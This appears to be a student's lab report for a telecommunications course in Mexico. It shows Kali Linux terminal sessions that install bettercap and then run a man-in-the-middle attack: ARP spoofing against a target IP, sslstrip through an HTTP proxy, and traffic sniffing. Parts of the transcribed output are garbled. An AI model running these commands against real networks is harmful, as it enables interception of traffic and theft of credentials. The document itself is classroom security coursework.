



TECNOLOGICO  
NACIONAL DE MEXICO



**INSTITUTO TECNOLÓGICO DE CANCÚN**

**INGENIERÍA EN  
SISTEMAS COMPUTACIONALES**

**FUNDAMENTOS DE TELECOMUNICACIONES**

**NOMBRE DEL ALUMNO:  
CHAN BURGOS JOSE REYES**

**HORARIO  
LUNES A JUEVES  
5:00 PM – 6:00 PM**

**PROFESOR  
ING. ISMAEL JIMENEZ SANCHEZ**



TECNOLOGICO  
NACIONAL DE MEXICO



```
root@kali: /home/kali 11:56 AM 0%  
root@kali: /home/kali  
File Actions Edit View Help  
(kali@kali)-[~]  
$ sudo su  
  
We trust you have received the usual lecture from the local System  
Administrator. It usually boils down to these three things:  
  
#1) Respect the privacy of others.  
#2) Think before you type.  
#3) With great power comes great responsibility.  
  
[sudo] password for kali:  
(root@kali)-[/home/kali]  
#
```



TECNOLOGICO  
NACIONAL DE MEXICO



```
root@kali: /home/kali 11:57 AM 0%
File Actions Edit View Help
(kali@kali)-[~]
$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for kali:
(root@kali)-[/home/kali]
# apt-get update
Get:1 http://kali.download/kali kali-rolling InRelease [30.5 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [17.0 MB]
Get:3 http://kali.download/kali kali-rolling/contrib amd64 Packages [102 kB]
Get:4 http://kali.download/kali kali-rolling/non-free amd64 Packages [200 kB]
Fetched 17.3 MB in 4s (3,921 kB/s)
Reading package lists... Done

(root@kali)-[/home/kali]
#
```



TECNOLOGICO  
NACIONAL DE MEXICO



```
root@kali: /home/kali 11:59 AM 0%
root@kali: /home/kali
File Actions Edit View Help
Reading package lists... Done
(root@kali)-[/home/kali]
# apt-get install bettercap
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  bettercap-caplets bettercap-ui
The following NEW packages will be installed:
  bettercap bettercap-caplets bettercap-ui
0 upgraded, 3 newly installed, 0 to remove and 235 not upgraded.
Need to get 8,910 kB of archives.
After this operation, 45.3 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 bettercap amd64 2.2
8-0kali2 [6,697 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 bettercap-ui all 1.
3.0+really1.3.0-0kali1 [2,103 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 bettercap-caplets a
ll 0+git20200413-0kali2 [110 kB]
Fetched 8,910 kB in 2s (4,205 kB/s)
Selecting previously unselected package bettercap.
(Reading database ... 261631 files and directories currently installed.)
Preparing to unpack .../bettercap_2.28-0kali2_amd64.deb ...
Unpacking bettercap (2.28-0kali2) ...
```



TECNOLOGICO  
NACIONAL DE MEXICO



```
root@kali: /h... root@kali: /h... 12:00 PM 0%
root@kali: /home/kali
File Actions Edit View Help
After this operation, 8,910 kB of additional disk space will be used.
Do you want to continue? [y/N] y
Get:1 http://kali2 [6,697 kB]
Get:2 http://kali2 [6,697 kB]
Get:3 http://kali2 [6,697 kB]
Fetched 8,910 kB
Selecting previously unselected package bettercap.
(Reading database ... 123456789)
Preparing to unpack .../bettercap_2.28-1_amd64.deb ...
Unpacking bettercap (2.28-1) ...
Setting up bettercap (2.28-1) ...
Processing triggers for bettercap (2.28-1) ...
bettercap v2.28 (built for linux amd64 with go1.14.4) [type 'help' for a list of commands]
# 10.0.2.0/24 > 10.0.2.15 »
```

```
Kali-Linux-2023.4-ubuntu-amd64 [Comandos] - Oracle VM VirtualBox
root@kali: /home/kali 12:43 PM 0%
File Actions Edit View Help
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# bettercap
bettercap v2.28 (built for linux amd64 with go1.14.4) [type 'help' for a list of commands]
10.0.2.0/24 > 10.0.2.15 # set http.proxy.sslstrip true
10.0.2.0/24 > 10.0.2.15 # set net.sniff.verbose false
10.0.2.0/24 > 10.0.2.15 # set arp.spoof.targets 192.168.11.248
10.0.2.0/24 > 10.0.2.15 # arp.spoof on
[12:35:26] [sys.log] [inf] arp.spoof enabling forwarding
[12:35:26] [sys.log] [inf] arp.spoof starting net.recon as a requirement for arp.spoof
10.0.2.0/24 > 10.0.2.15 # [12:35:26] [sys.log] [inf] arp.spoof started, probing 3 targets.
10.0.2.0/24 > 10.0.2.15 # http.proxy on
10.0.2.0/24 > 10.0.2.15 # [12:35:37] [sys.log] [inf] http.proxy started on 10.0.2.15:8080 (sslstrip enabled)
10.0.2.0/24 > 10.0.2.15 # net.sniff on
10.0.2.0/24 > 10.0.2.15 # set net.sniff.local true
10.0.2.0/24 > 10.0.2.15 # net.sniff on
```